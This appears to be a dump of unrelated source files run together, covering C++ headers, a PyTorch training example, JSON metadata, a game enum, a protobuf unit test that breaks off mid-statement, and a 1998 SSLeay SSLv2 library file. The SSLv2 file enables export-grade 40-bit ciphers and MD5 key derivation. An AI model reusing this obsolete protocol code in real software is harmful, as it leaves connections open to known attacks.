C *C = src[0]; } else if (src_num == 2) { // N 1 1 C *N = src[0]; *C = src[1]; } else if (src_num == 3) { // N 1 W C *N = src[0]; *W = src[1]; *C = src[2]; } else if (src_num == 4) { // N H W C *N = src[0]; *H = src[1]; *W = src[2]; *C = src[3]; } else if (src_num > 4) { std::cerr << "GPU doesn't support ndim>=" << src_num; } } template <typename SrcT, typename DstT> void Broadcast2GpuShape(DstT *dst, const SrcT *src, int src_num, DstT default_value) { for (int i = 0; i < 4; ++i) { dst[i] = default_value; } if (src == nullptr || src_num <= 0) { return; } Broadcast2GpuShape(dst, src, src_num); } #define UP_DIV(x, y) (((x) + (y) - (1)) / (y)) #define C4NUM 4 struct GpuTensorInfo { GpuTensorInfo() = default; explicit GpuTensorInfo(const MSTensor *tensor, registry::opencl::OpenCLRuntimeWrapper *opencl_run) { if (tensor == nullptr) { return; } auto shape_ori = tensor->Shape(); int64_t shape[4]; Broadcast2GpuShape(shape, shape_ori.data(), shape_ori.size(), 1l); N = shape[0]; H = shape[1]; W = shape[2]; C = shape[3]; Slice = UP_DIV(C, C4NUM); if (tensor->DataType() == mindspore::DataType::kNumberTypeFloat16) { FLT_size = sizeof(cl_half); } else { FLT_size = sizeof(cl_float); } FLT4_size = FLT_size * C4NUM; if (W * Slice <= opencl_run->GetMaxImage2DWidth()) { height = N * H; width = W * Slice; } else { height = N * H * W; width = Slice; if (height > opencl_run->GetMaxImage2DHeight()) { height = -1; width = -1; } } ElementsNum = N * H * W * C; Image2DSize = height * width * FLT4_size; } size_t N{1}; size_t H{1}; size_t W{1}; size_t C{1}; size_t Slice{}; size_t width{}; size_t height{}; size_t FLT_size{4}; size_t FLT4_size{16}; size_t ElementsNum{}; size_t Image2DSize{}; }; // verify that the inputs' shape is inferred successfully when inferring current node. int CheckInputs(const std::vector<mindspore::MSTensor> &inputs); // versify that the outputs' shape is inferred successfully when running current node. int CheckOutputs(const std::vector<mindspore::MSTensor> &inputs); void PackNHWCToNHWC4(void *src, void *dst, bool src_is_fp16, bool dst_is_fp16, const GpuTensorInfo &tensor, mindspore::DataType data_type = mindspore::DataType::kNumberTypeFloat32); } // namespace custom_common } // namespace mindspore #endif // MINDSPORE_LITE_EXAMPLES_RUNTIME_GPU_EXTEND_SRC_CUSTOM_COMMON_H
1,696
324
/* Copyright 2012 10gen Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include <bitset> #include "mongo/base/status.h" #include "mongo/db/auth/action_type.h" namespace mongo { /* * An ActionSet is a bitmask of ActionTypes that represents a set of actions. * These are the actions that a Privilege can grant a principal to perform on a resource. */ class ActionSet { public: ActionSet() : _actions(0) {} void addAction(const ActionType& action); void addAllActionsFromSet(const ActionSet& actionSet); void addAllActions(); void removeAction(const ActionType& action); void removeAllActionsFromSet(const ActionSet& actionSet); void removeAllActions(); bool empty() const { return _actions.none(); } bool contains(const ActionType& action) const; // Returns true only if this ActionSet contains all the actions present in the 'other' // ActionSet. bool isSupersetOf(const ActionSet& other) const; // Returns the string representation of this ActionSet std::string toString() const; // Takes a comma-separated string of action type string representations and returns // an int bitmask of the actions. static Status parseActionSetFromString(const std::string& actionsString, ActionSet* result); private: // bitmask of actions this privilege grants std::bitset<ActionType::NUM_ACTION_TYPES> _actions; }; } // namespace mongo
696
3,094
<filename>ML/Pytorch/Basics/custom_dataset/custom_dataset.py<gh_stars>1000+ """ Example of how to create custom dataset in Pytorch. In this case we have images of cats and dogs in a separate folder and a csv file containing the name to the jpg file as well as the target label (0 for cat, 1 for dog). Programmed by <NAME> <<EMAIL>.<EMAIL> at hotmail dot com> * 2020-04-03 Initial coding """ # Imports import torch import torch.nn as nn # All neural network modules, nn.Linear, nn.Conv2d, BatchNorm, Loss functions import torch.optim as optim # For all Optimization algorithms, SGD, Adam, etc. import torchvision.transforms as transforms # Transformations we can perform on our dataset import torchvision import os import pandas as pd from skimage import io from torch.utils.data import ( Dataset, DataLoader, ) # Gives easier dataset managment and creates mini batches class CatsAndDogsDataset(Dataset): def __init__(self, csv_file, root_dir, transform=None): self.annotations = pd.read_csv(csv_file) self.root_dir = root_dir self.transform = transform def __len__(self): return len(self.annotations) def __getitem__(self, index): img_path = os.path.join(self.root_dir, self.annotations.iloc[index, 0]) image = io.imread(img_path) y_label = torch.tensor(int(self.annotations.iloc[index, 1])) if self.transform: image = self.transform(image) return (image, y_label) # Set device device = torch.device("cuda" if torch.cuda.is_available() else "cpu") # Hyperparameters in_channel = 3 num_classes = 2 learning_rate = 1e-3 batch_size = 32 num_epochs = 10 # Load Data dataset = CatsAndDogsDataset( csv_file="cats_dogs.csv", root_dir="cats_dogs_resized", transform=transforms.ToTensor(), ) # Dataset is actually a lot larger ~25k images, just took out 10 pictures # to upload to Github. It's enough to understand the structure and scale # if you got more images. train_set, test_set = torch.utils.data.random_split(dataset, [5, 5]) train_loader = DataLoader(dataset=train_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(dataset=test_set, batch_size=batch_size, shuffle=True) # Model model = torchvision.models.googlenet(pretrained=True) model.to(device) # Loss and optimizer criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=learning_rate) # Train Network for epoch in range(num_epochs): losses = [] for batch_idx, (data, targets) in enumerate(train_loader): # Get data to cuda if possible data = data.to(device=device) targets = targets.to(device=device) # forward scores = model(data) loss = criterion(scores, targets) losses.append(loss.item()) # backward optimizer.zero_grad() loss.backward() # gradient descent or adam step optimizer.step() print(f"Cost at epoch {epoch} is {sum(losses)/len(losses)}") # Check accuracy on training to see how good our model is def check_accuracy(loader, model): num_correct = 0 num_samples = 0 model.eval() with torch.no_grad(): for x, y in loader: x = x.to(device=device) y = y.to(device=device) scores = model(x) _, predictions = scores.max(1) num_correct += (predictions == y).sum() num_samples += predictions.size(0) print( f"Got {num_correct} / {num_samples} with accuracy {float(num_correct)/float(num_samples)*100:.2f}" ) model.train() print("Checking accuracy on Training Set") check_accuracy(train_loader, model) print("Checking accuracy on Test Set") check_accuracy(test_loader, model)
1,453
615
/** * @file query_runner.cpp * @author <NAME> */ #include <iostream> #include <string> #include <vector> #include "meta/corpus/document.h" #include "meta/index/eval/ir_eval.h" #include "meta/index/inverted_index.h" #include "meta/index/ranker/ranker_factory.h" #include "meta/parser/analyzers/tree_analyzer.h" #include "meta/sequence/analyzers/ngram_pos_analyzer.h" #include "meta/util/printing.h" #include "meta/util/time.h" using namespace meta; /** * Prints the current search result in a nice, human-readable format with a * simple snippet if possible. The snippet is made from the beginning of the * "content" metadata field. */ template <class Index, class SearchResult> void print_results(const Index& idx, const SearchResult& result, uint64_t result_num) { auto mdata = idx->metadata(result.d_id); auto path = mdata.template get<std::string>("path").value_or("[none]"); auto output = printing::make_bold(std::to_string(result_num) + ". " + path) + " (score = " + std::to_string(result.score) + ", docid = " + std::to_string(result.d_id) + ")"; std::cout << output << std::endl; if (auto content = mdata.template get<std::string>("content")) { auto len = std::min(std::string::size_type{77}, content->size()); std::cout << content->substr(0, len) << "..." << std::endl << std::endl; } } /** * Prints the current search result in TREC format, which can be read by the * trec-eval program. A "name" metadata field is required as the document ID. */ template <class Index, class SearchResult> void print_trec(const Index& idx, const SearchResult& result, uint64_t result_num, uint64_t q_id) { auto mdata = idx->metadata(result.d_id); if (auto name = mdata.template get<std::string>("name")) { std::cout << q_id << "\t_\t" << *name << "\t" << result_num << "\t" << result.score << "\tMeTA" << std::endl; } else throw std::runtime_error{"\"name\" metadata field is required"}; } /** * Demo app to read a file with one query per line and run each query on an * inverted index. */ int main(int argc, char* argv[]) { if (argc != 2) { std::cerr << "Usage:\t" << argv[0] << " config.toml" << std::endl; return 1; } // Log to standard error logging::set_cerr_logging(); // Register additional analyzers parser::register_analyzers(); sequence::register_analyzers(); // Create an inverted index based on the config file auto config = cpptoml::parse_file(argv[1]); auto idx = index::make_index<index::inverted_index>(*config); // Create a ranking class based on the config file. auto group = config->get_table("ranker"); if (!group) throw std::runtime_error{"\"ranker\" group needed in config"}; auto ranker = index::make_ranker(*config, *group); // Get the config group with options specific to this executable. auto query_group = config->get_table("query-runner"); if (!query_group) throw std::runtime_error{"\"query-runner\" group needed in config"}; // Get the path to the file containing queries auto query_path = query_group->get_as<std::string>("query-path"); if (!query_path) throw std::runtime_error{ "config file needs a \"query-path\" parameter"}; if (!meta::filesystem::file_exists(*query_path)) throw std::runtime_error{"query path does not exist: " + *query_path}; std::ifstream queries{*query_path}; // Read the rest of the options for this executable. auto trec_format = query_group->get_as<bool>("trec-format").value_or(false); auto max_results = query_group->get_as<uint64_t>("max-results").value_or(10); auto q_id = query_group->get_as<uint64_t>("query-id-start").value_or(1); // create the IR evaluation scorer if necessary std::unique_ptr<index::ir_eval> eval; try { if (!trec_format) eval = make_unique<index::ir_eval>(*query_group); } catch (index::ir_eval_exception& ex) { LOG(info) << "Could not find relevance judgements; skipping eval" << ENDLG; } std::string content; auto elapsed_seconds = common::time([&]() { while (std::getline(queries, content)) { corpus::document query{doc_id{0}}; query.content(content); if (!trec_format) { std::cout << std::string(80, '=') << std::endl; std::cout << "Query " << q_id << ": \"" << content << "\"" << std::endl; std::cout << std::string(80, '-') << std::endl; } auto ranking = ranker->score(*idx, query, max_results); uint64_t result_num = 1; for (auto& result : ranking) { if (trec_format) print_trec(idx, result, result_num, q_id); else print_results(idx, result, result_num); if (result_num++ == max_results) break; } if (!trec_format && eval) eval->print_stats(ranking, query_id{q_id}, std::cout, max_results); ++q_id; } }); if (!trec_format && eval) { std::cout << printing::make_bold(" MAP: ") << eval->map() << std::endl; std::cout << printing::make_bold(" gMAP: ") << eval->gmap() << std::endl; std::cout << std::endl; } std::cerr << "Elapsed time: " << elapsed_seconds.count() << "ms" << std::endl; }
2,475
5,169
{ "name": "BBBadgeBarButtonItem", "version": "1.0", "summary": "Badge value on top of BarButtonItem", "description": " Create a BarButtonItem with a badge on top. Easily customizable. Your BarButtonItem can be any custom view you wish for. The badge on top can display any number or string of any size or length. Reproducing the behavior of a badge value on a tabBarItem in a Navigation Bar.\n", "homepage": "https://github.com/TanguyAladenise/BBBadgeBarButtonItem", "screenshots": "https://github.com/TanguyAladenise/BBBadgeBarButtonItem/blob/master/screenshot.png", "license": "MIT", "authors": { "TanguyAladenise": "<EMAIL>" }, "source": { "git": "https://github.com/TanguyAladenise/BBBadgeBarButtonItem.git", "tag": "1.0", "commit": "<PASSWORD>" }, "source_files": "BBBadgeBarButtonItem/BBBadgeBarButtonItem.{h,m}", "platforms": { "ios": "6.0" }, "requires_arc": true }
354
1,921
#pragma once #include "tag-version.h" enum item_status_flag_type // per item flags: ie. ident status, cursed status { //0x00000001, // was: ISFLAG_KNOW_CURSE ISFLAG_KNOW_TYPE = 0x00000002, // artefact name, sub/special types ISFLAG_KNOW_PLUSES = 0x00000004, // to hit/to dam/to AC ISFLAG_KNOW_PROPERTIES = 0x00000008, // know special artefact properties ISFLAG_IDENT_MASK = 0x0000000F, // mask of all id related flags ISFLAG_CURSED = 0x00000100, // cursed ISFLAG_HANDLED = 0x00000200, // player has handled this item //0x00000400, // was: ISFLAG_SEEN_CURSED //0x00000800, // was: ISFLAG_TRIED ISFLAG_RANDART = 0x00001000, // special value is seed ISFLAG_UNRANDART = 0x00002000, // is an unrandart ISFLAG_ARTEFACT_MASK = 0x00003000, // randart or unrandart ISFLAG_DROPPED = 0x00004000, // dropped item (no autopickup) ISFLAG_THROWN = 0x00008000, // thrown missile weapon // these don't have to remain as flags ISFLAG_NO_DESC = 0x00000000, // used for clearing these flags ISFLAG_GLOWING = 0x00010000, // weapons or armour ISFLAG_RUNED = 0x00020000, // weapons or armour ISFLAG_EMBROIDERED_SHINY = 0x00040000, // armour: depends on sub-type ISFLAG_COSMETIC_MASK = 0x00070000, // mask of cosmetic descriptions ISFLAG_UNOBTAINABLE = 0x00080000, // vault on display ISFLAG_MIMIC = 0x00100000, // mimic //0x00200000, // was ISFLAG_NO_MIMIC ISFLAG_NO_PICKUP = 0x00400000, // Monsters won't pick this up #if TAG_MAJOR_VERSION == 34 ISFLAG_UNUSED1 = 0x01000000, // was ISFLAG_ORCISH ISFLAG_UNUSED2 = 0x02000000, // was ISFLAG_DWARVEN ISFLAG_UNUSED3 = 0x04000000, // was ISFLAG_ELVEN ISFLAG_RACIAL_MASK = 0x07000000, // mask of racial equipment types #endif ISFLAG_NOTED_ID = 0x08000000, ISFLAG_NOTED_GET = 0x10000000, ISFLAG_SEEN = 0x20000000, // has it been seen ISFLAG_SUMMONED = 0x40000000, // Item generated on a summon #if TAG_MAJOR_VERSION == 34 ISFLAG_UNUSED4 = 0x80000000, // was ISFLAG_DROPPED_BY_ALLY #endif };
1,187
348
{"nom":"<NAME>","circ":"7ème circonscription","dpt":"Alpes-Maritimes","inscrits":2893,"abs":1561,"votants":1332,"blancs":74,"nuls":20,"exp":1238,"res":[{"nuance":"REM","nom":"<NAME>","voix":651},{"nuance":"LR","nom":"<NAME>","voix":587}]}
96
504
<gh_stars>100-1000 /* ssl/s2_lib.c */ /* Copyright (C) 1995-1998 <NAME> (<EMAIL>) * All rights reserved. * * This package is an SSL implementation written * by <NAME> (<EMAIL>). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is <NAME> (<EMAIL>). * * Copyright remains <NAME>'s, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * <NAME> (<EMAIL>)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by <NAME> (<EMAIL>)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ #ifdef __GEOS__ #include <Ansi/stdio.h> #else #include <stdio.h> #endif #include "rsa.h" #include "objects.h" #include "ssl_locl.h" #ifndef NOPROTO static int ssl2_ok(SSL *s); static long ssl2_default_timeout(void ); #else static int ssl2_ok(); static long ssl2_default_timeout(); #endif #ifndef GEOS_CLIENT char *ssl2_version_str="SSLv2 part of SSLeay 0.9.0b 29-Jun-1998"; #endif #define SSL2_NUM_CIPHERS (sizeof(ssl2_ciphers)/sizeof(SSL_CIPHER)) #ifdef __GEOS__ #pragma option -dc- #endif SSL_CIPHER ssl2_ciphers[]={ /* NULL_WITH_MD5 v3 */ #if 0 { 1, SSL2_TXT_NULL_WITH_MD5, SSL2_CK_NULL_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_eNULL|SSL_MD5|SSL_EXP|SSL_SSLV2, 0, SSL_ALL_CIPHERS, }, #endif /* RC4_128_EXPORT40_WITH_MD5 */ { 1, SSL2_TXT_RC4_128_EXPORT40_WITH_MD5, SSL2_CK_RC4_128_EXPORT40_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_RC4|SSL_MD5|SSL_EXP|SSL_SSLV2, SSL2_CF_5_BYTE_ENC, SSL_ALL_CIPHERS, }, /* RC4_128_WITH_MD5 */ { 1, SSL2_TXT_RC4_128_WITH_MD5, SSL2_CK_RC4_128_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_RC4|SSL_MD5|SSL_NOT_EXP|SSL_SSLV2|SSL_MEDIUM, 0, SSL_ALL_CIPHERS, }, /* RC2_128_CBC_EXPORT40_WITH_MD5 */ { 1, SSL2_TXT_RC2_128_CBC_EXPORT40_WITH_MD5, SSL2_CK_RC2_128_CBC_EXPORT40_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_RC2|SSL_MD5|SSL_EXP|SSL_SSLV2, SSL2_CF_5_BYTE_ENC, SSL_ALL_CIPHERS, }, /* RC2_128_CBC_WITH_MD5 */ { 1, SSL2_TXT_RC2_128_CBC_WITH_MD5, SSL2_CK_RC2_128_CBC_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_RC2|SSL_MD5|SSL_NOT_EXP|SSL_SSLV2|SSL_MEDIUM, 0, SSL_ALL_CIPHERS, }, /* IDEA_128_CBC_WITH_MD5 */ { 1, SSL2_TXT_IDEA_128_CBC_WITH_MD5, SSL2_CK_IDEA_128_CBC_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_IDEA|SSL_MD5|SSL_NOT_EXP|SSL_SSLV2|SSL_MEDIUM, 0, SSL_ALL_CIPHERS, }, /* DES_64_CBC_WITH_MD5 */ { 1, SSL2_TXT_DES_64_CBC_WITH_MD5, SSL2_CK_DES_64_CBC_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_DES|SSL_MD5|SSL_NOT_EXP|SSL_SSLV2|SSL_LOW, 0, SSL_ALL_CIPHERS, }, /* DES_192_EDE3_CBC_WITH_MD5 */ { 1, SSL2_TXT_DES_192_EDE3_CBC_WITH_MD5, SSL2_CK_DES_192_EDE3_CBC_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_3DES|SSL_MD5|SSL_NOT_EXP|SSL_SSLV2|SSL_HIGH, 0, SSL_ALL_CIPHERS, }, /* RC4_64_WITH_MD5 */ #if 1 { 1, SSL2_TXT_RC4_64_WITH_MD5, SSL2_CK_RC4_64_WITH_MD5, SSL_kRSA|SSL_aRSA|SSL_RC4|SSL_MD5|SSL_SSLV2|SSL_LOW, SSL2_CF_8_BYTE_ENC, SSL_ALL_CIPHERS, }, #endif /* NULL SSLeay (testing) */ #if 0 { 0, SSL2_TXT_NULL, SSL2_CK_NULL, 0, SSL_ALL_CIPHERS, }, #endif /* end of list :-) */ }; #ifdef __GEOS__ #pragma option -dc #endif static SSL_METHOD SSLv2_data= { SSL2_VERSION, ssl2_new, /* local */ ssl2_clear, /* local */ ssl2_free, /* local */ ssl_undefined_function, ssl_undefined_function, ssl2_read, #ifdef GEOS_CLIENT ssl_undefined_function, #else ssl2_peek, #endif ssl2_write, ssl2_shutdown, ssl2_ok, ssl2_ctrl, /* local */ ssl2_ctx_ctrl, /* local */ ssl2_get_cipher_by_char, ssl2_put_cipher_by_char, ssl2_pending, ssl2_num_ciphers, ssl2_get_cipher, ssl_bad_method, ssl2_default_timeout, &ssl3_undef_enc_method, }; static long ssl2_default_timeout() { #ifdef __GEOS__ return((long)300*(long)60); #else return(300); #endif } SSL_METHOD *sslv2_base_method() { SSL2MP(SSLv2_data, SSLv2_enc_data); } int ssl2_num_ciphers() { return(SSL2_NUM_CIPHERS); } SSL_CIPHER *ssl2_get_cipher(u) unsigned int u; { if (u < SSL2_NUM_CIPHERS) {SSLCP((ssl2_ciphers[SSL2_NUM_CIPHERS-1-u]));} else return(NULL); } int ssl2_pending(s) SSL *s; { return(s->s2->ract_data_length); } int ssl2_new(s) SSL *s; { SSL2_CTX *s2; if ((s2=(SSL2_CTX *)Malloc(sizeof(SSL2_CTX))) == NULL) goto err; memset(s2,0,sizeof(SSL2_CTX)); #ifdef GEOS_MEM if ((s2->rbufH = MemAlloc(SSL2_INIT_R_W_BUF_SIZE, HF_DYNAMIC, HAF_STANDARD)) == NULL) goto err; s2->rbuf = (void *)-1; if ((s2->wbufH = MemAlloc(SSL2_INIT_R_W_BUF_SIZE, HF_DYNAMIC, HAF_STANDARD)) == NULL) goto err; s2->wbuf = (void *)-1; s->packet = 0; #else if ((s2->rbuf=(unsigned char *)Malloc( SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER+2)) == NULL) goto err; if ((s2->wbuf=(unsigned char *)Malloc( SSL2_MAX_RECORD_LENGTH_2_BYTE_HEADER+2)) == NULL) goto err; #endif s->s2=s2; ssl2_clear(s); return(1); err: if (s2 != NULL) { if (s2->wbuf != NULL) Free(s2->wbuf); if (s2->rbuf != NULL) Free(s2->rbuf); Free(s2); } return(0); } void ssl2_free(s) SSL *s; { SSL2_CTX *s2; s2=s->s2; #ifdef GEOS_MEM if (s2->rbufH != 0) MemFree(s2->rbufH); if (s2->wbufH != 0) MemFree(s2->wbufH); #else if (s2->rbuf != NULL) Free(s2->rbuf); if (s2->wbuf != NULL) Free(s2->wbuf); #endif memset(s2,0,sizeof(SSL2_CTX)); Free(s2); s->s2=NULL; } void ssl2_clear(s) SSL *s; { SSL2_CTX *s2; #ifdef GEOS_MEM MemHandle rH, wH; #else unsigned char *rbuf,*wbuf; #endif s2=s->s2; #ifdef GEOS_MEM rH = s2->rbufH; wH = s2->wbufH; #else rbuf=s2->rbuf; wbuf=s2->wbuf; #endif memset(s2,0,sizeof(SSL2_CTX)); #ifdef GEOS_MEM s2->rbufH = rH; s2->wbufH = wH; #else s2->rbuf=rbuf; s2->wbuf=wbuf; #endif s2->clear_text=1; s->packet=s2->rbuf; s->version=SSL2_VERSION; s->packet_length=0; } long ssl2_ctrl(s,cmd,larg,parg) SSL *s; int cmd; long larg; char *parg; { int ret=0; switch(cmd) { case SSL_CTRL_GET_SESSION_REUSED: ret=s->hit; break; default: break; } return(ret); } long ssl2_ctx_ctrl(ctx,cmd,larg,parg) SSL_CTX *ctx; int cmd; long larg; char *parg; { return(0); } /* This function needs to check if the ciphers required are actually * available */ SSL_CIPHER *ssl2_get_cipher_by_char(p) unsigned char *p; { static int init2GCBC=1; static SSL_CIPHER *sorted2[SSL2_NUM_CIPHERS]; SSL_CIPHER c,*cp= &c,**cpp; unsigned long id; int i; PUSHDS; if (init2GCBC) { init2GCBC=0; for (i=0; i<SSL2_NUM_CIPHERS; i++) sorted2[i]= &(ssl2_ciphers[i]); qsort( (char *)sorted2, SSL2_NUM_CIPHERS,sizeof(SSL_CIPHER *), FP_ICC ssl_cipher_ptr_id_cmp); } id=0x02000000L|((unsigned long)p[0]<<16L)| ((unsigned long)p[1]<<8L)|(unsigned long)p[2]; c.id=id; cpp=(SSL_CIPHER **)OBJ_bsearch((char *)&cp, (char *)sorted2, SSL2_NUM_CIPHERS,sizeof(SSL_CIPHER *), (int (*)())ssl_cipher_ptr_id_cmp); if ((cpp == NULL) || !(*cpp)->valid) {POPDS;return(NULL);} else {POPDS;return(*cpp);} } int ssl2_put_cipher_by_char(c,p) SSL_CIPHER *c; unsigned char *p; { long l; if (p != NULL) { l=c->id; if ((l & 0xff000000) != 0x02000000) return(0); p[0]=((unsigned char)(l>>16L))&0xFF; p[1]=((unsigned char)(l>> 8L))&0xFF; p[2]=((unsigned char)(l ))&0xFF; } return(3); } void ssl2_generate_key_material(s) SSL *s; { unsigned int i; MD5_CTX ctx; unsigned char *km; unsigned char c='0'; km=s->s2->key_material; for (i=0; i<s->s2->key_material_length; i+=MD5_DIGEST_LENGTH) { MD5_Init(&ctx); MD5_Update(&ctx,s->session->master_key,s->session->master_key_length); MD5_Update(&ctx,(unsigned char *)&c,1); c++; MD5_Update(&ctx,s->s2->challenge,s->s2->challenge_length); MD5_Update(&ctx,s->s2->conn_id,s->s2->conn_id_length); MD5_Final(km,&ctx); km+=MD5_DIGEST_LENGTH; } } void ssl2_return_error(s,err) SSL *s; int err; { if (!s->error) { s->error=3; s->error_code=err; ssl2_write_error(s); } } void ssl2_write_error(s) SSL *s; { char buf[3]; int i,error; buf[0]=SSL2_MT_ERROR; buf[1]=(s->error_code>>8)&0xff; buf[2]=(s->error_code)&0xff; /* state=s->rwstate;*/ error=s->error; s->error=0; i=ssl2_write(s,&(buf[3-error]),error); /* if (i == error) s->rwstate=state; */ if (i < 0) s->error=error; else if (i != s->error) s->error=error-i; /* else s->error=0; */ } static int ssl2_ok(s) SSL *s; { return(1); } int ssl2_shutdown(s) SSL *s; { s->shutdown=(SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); return(1); }
5,568
322
import sys import torch sys.path.insert(0, "../") from linformer_pytorch import LinformerLM model = LinformerLM( num_tokens=10000, input_size=512, channels=16, dim_k=16, dim_ff=32, nhead=4, depth=3, activation="relu", checkpoint_level="C1", parameter_sharing="none", k_reduce_by_layer=1, include_ff=True, emb_dim=128, ) x = torch.randint(1,10000,(1,512)) print(x.shape) y = model(x) print(y.shape) # (1, 512, 10000)
278
1,603
<reponame>cuong-pham/datahub package datahub.protobuf.model; import com.google.protobuf.DescriptorProtos.DescriptorProto; import com.google.protobuf.DescriptorProtos.FieldDescriptorProto; import com.google.protobuf.DescriptorProtos.FileDescriptorProto; import com.google.protobuf.DescriptorProtos.OneofDescriptorProto; import com.linkedin.schema.SchemaFieldDataType; import com.linkedin.schema.UnionType; import org.junit.Test; import java.util.List; import java.util.Set; import java.util.stream.Collectors; import java.util.stream.Stream; import static org.junit.jupiter.api.Assertions.*; public class ProtobufOneOfFieldTest { @Test public void oneOfTest() { OneofDescriptorProto expectedOneOf = OneofDescriptorProto.newBuilder() .setName("oneof1") .build(); FieldDescriptorProto expectedField = FieldDescriptorProto.newBuilder() .setName("field1") .setOneofIndex(0) .build(); DescriptorProto expectedMessage = DescriptorProto.newBuilder() .setName("message1") .addOneofDecl(expectedOneOf) .addField(expectedField) .build(); FileDescriptorProto expectedFile = FileDescriptorProto.newBuilder() .addMessageType(expectedMessage) .setPackage("protobuf") .build(); ProtobufOneOfField test = ProtobufOneOfField.oneOfBuilder() .fieldProto(expectedField) .protobufMessage(ProtobufMessage.builder().fileProto(expectedFile).messageProto(expectedMessage).build()) .build(); assertEquals("oneof1", test.name()); assertEquals("protobuf.message1.oneof1", test.fullName()); assertEquals("[type=union]", test.fieldPathType()); assertEquals("oneof", test.nativeType()); assertEquals(expectedOneOf, test.oneOfProto()); assertEquals(expectedMessage, test.messageProto()); assertEquals(expectedFile, test.fileProto()); assertFalse(test.isMessage()); assertEquals(new SchemaFieldDataType().setType(SchemaFieldDataType.Type.create(new UnionType())), test.schemaFieldDataType()); assertEquals("ProtobufOneOf[protobuf.message1.oneof1]", test.toString()); } @Test public void oneOfEqualityTest() { OneofDescriptorProto oneof1Message1 = OneofDescriptorProto.newBuilder().setName("oneof1").build(); OneofDescriptorProto oneof2Message1 = OneofDescriptorProto.newBuilder().setName("oneof2").build(); OneofDescriptorProto oneof1Message2 = OneofDescriptorProto.newBuilder().setName("oneof1").build(); OneofDescriptorProto oneof1Message1Dup = OneofDescriptorProto.newBuilder().setName("oneof1").build(); FieldDescriptorProto expectedField1 = FieldDescriptorProto.newBuilder() .setName("field1") .setOneofIndex(0) .build(); FieldDescriptorProto expectedField2 = FieldDescriptorProto.newBuilder() .setName("field2") .setOneofIndex(1) .build(); FieldDescriptorProto expectedField1Dup = FieldDescriptorProto.newBuilder() .setName("field3") .setOneofIndex(3) .build(); DescriptorProto expectedMessage1 = DescriptorProto.newBuilder() .setName("message1") .addAllOneofDecl(List.of(oneof1Message1, oneof2Message1, oneof1Message1Dup)) .addField(expectedField1) .addField(expectedField2) .addField(expectedField1Dup) .build(); FieldDescriptorProto expectedField3 = FieldDescriptorProto.newBuilder() .setName("field3") .setOneofIndex(0) .build(); DescriptorProto expectedMessage2 = DescriptorProto.newBuilder() .setName("message2") .addAllOneofDecl(List.of(oneof1Message2)) .addField(expectedField3) .build(); FileDescriptorProto expectedFile = FileDescriptorProto.newBuilder() .addAllMessageType(List.of(expectedMessage1, expectedMessage2)) .setPackage("protobuf") .build(); ProtobufOneOfField test1 = ProtobufOneOfField.oneOfBuilder() .fieldProto(expectedField1) .protobufMessage(ProtobufMessage.builder().fileProto(expectedFile).messageProto(expectedMessage1).build()) .build(); ProtobufOneOfField test1Dup = ProtobufOneOfField.oneOfBuilder() .fieldProto(expectedField1) .protobufMessage(ProtobufMessage.builder().fileProto(expectedFile).messageProto(expectedMessage1).build()) .build(); ProtobufOneOfField test2 = ProtobufOneOfField.oneOfBuilder() .fieldProto(expectedField2) .protobufMessage(ProtobufMessage.builder().fileProto(expectedFile).messageProto(expectedMessage1).build()) .build(); ProtobufOneOfField test3 = ProtobufOneOfField.oneOfBuilder() .fieldProto(expectedField3) .protobufMessage(ProtobufMessage.builder().fileProto(expectedFile).messageProto(expectedMessage2).build()) 